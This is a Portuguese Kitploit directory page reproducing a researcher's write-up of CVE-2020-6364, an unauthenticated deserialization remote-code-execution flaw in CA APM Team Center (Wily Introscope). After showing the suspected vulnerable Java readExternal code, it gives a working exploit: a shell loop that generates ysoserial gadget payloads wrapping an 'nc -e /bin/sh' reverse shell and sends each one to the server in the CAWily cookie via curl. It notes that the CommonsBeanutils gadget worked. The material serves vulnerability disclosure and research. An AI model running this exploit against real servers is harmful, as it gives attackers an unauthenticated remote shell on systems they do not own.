Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-6364 — Execução remota de código em CA APM Team Center (Wily Introscope) | Kitploit
Ferramentas/GitHubGitHub/gquere/cve-2020-6364
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubgquere/cve-2020-6364

CVE-2020-6364

Execução remota de código em CA APM Team Center (Wily Introscope)

Ver Repositório
22há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-6364

Execução remota de código no CA APM Team Center (Wily Introscope).

Aviso original

Uma vulnerabilidade de desserialização no CA APM Team Center leva à execução remota de código não autenticada no servidor.

Ao autenticar no servidor, um cookie é retornado começando com a infame string rO0, indicando um objeto serializado codificado em base64:

Embora eu não tenha rastreado completamente o problema estaticamente, este provavelmente é o código vulnerável:

root@kitploit:~
public class HttpRequestHeaderInfo implements Externalizable {
  public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {

    in.readInt();
    int numMapEntries = in.readInt();
    this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);

    for (int i = 0; i < numMapEntries; i++) {
      this.fRequestParameterMap.put(in.readUTF(), in.readObject());
    }

    int numCookies = in.readInt();
    this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];

    for (int j = 0; j < this.fCookies.length; j++) {
      this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
    }
  }
}

Observe que o mapa de parâmetros e o cookie são desserializados usando readObject() a partir da entrada do usuário.

Isso é explorado trivialmente ao identificar um gadget adequado em um loop for:

root@kitploit:~
for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
    java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
    payload=$(cat cookie)
    curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done

O único payload que produziu execução remota de código para mim foi CommonsBeanutils. O JAR embutido é org.apache.commons_beanutils_1.9.2.1.jar e de fato inclui um gadget vulnerável de acordo com o repositório maven.

Agradecimentos

Agradecimento obrigatório a uma pessoa especial que me fez verificar o cabeçalho novamente.

Baixar ferramenta